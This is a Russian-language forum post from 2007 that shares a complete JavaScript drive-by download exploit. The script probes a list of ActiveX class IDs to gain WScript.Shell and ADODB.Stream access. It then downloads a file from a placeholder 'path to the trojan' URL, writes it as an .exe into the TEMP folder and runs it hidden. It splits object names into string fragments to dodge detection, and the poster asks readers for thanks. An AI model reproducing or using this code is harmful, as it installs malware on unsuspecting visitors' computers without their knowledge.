TymbJIep
Сообщений: 6
Оценки: 0
Присоединился: 2007-09-30 21:20:07.033333
|
quote:
<SCRIPT language="javascript"> var bb949531092ff = "путь до трояна!"; function CreateO(o, n) { var r = null; try { eval('r = o.CreateObject(n)') }catch(e){} if (! r) { try { eval('r = o.CreateObject(n, "")') }catch(e){} } if (! r) { try { eval('r = o.CreateObject(n, "", "")') }catch(e){} } if (! r) { try { eval('r = o.GetObject("", n)') }catch(e){} } if (! r) { try { eval('r = o.GetObject(n, "")') }catch(e){} } if (! r) { try { eval('r = o.GetObject(n)') }catch(e){} } return(r); } function Go(a) { var s = CreateO(a, "WSc"+"rip"+"t.Sh"+"ell"); var o = CreateO(a, "ADO"+"DB.Str"+"eam"); var e = s.Environment("Process"); var bb351865611ff = null; var bin = e.Item("TEMP")+ "\\" + "fdklkjTUFOYUT.exe"; var bb532058559ff; try { bb351865611ff=new XMLHttpRequest(); } catch(e) { try { bb351865611ff = new ActiveXObject("Micr"+"osoft.XMLH"+"TTP"); } catch(e) { bb351865611ff = new ActiveXObject("MS"+"XML2.Serv"+"erXMLH"+"TTP"); } } if (! bb351865611ff) return(0); bb351865611ff.open("GET", bb949531092ff, false) bb351865611ff.send(null); bb532058559ff = bb351865611ff.responseBody; o.Type = 1; o.Mode = 3; o.Open(); o.Write(bb532058559ff); o.SaveToFile(bin, 2); s.Run(bin,0); } var i = 0; var bb804375678ff = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null); while (bb804375678ff) { var a = null; if (bb804375678ff.substring(0,1) == '{') { a = document.createElement("object"); a.setAttribute("classid", "clsid:" + bb804375678ff.substring(1, bb804375678ff.length - 1)); } else { try { a = new ActiveXObject(bb804375678ff); } catch(e){} } if (a) { try { var b = CreateO(a, "WSc"+"ript.She"+"ll"); if (b) { Go(a); //return(0); } } catch(e){} } i++; } </script> Спасибо не забываем сказать!
|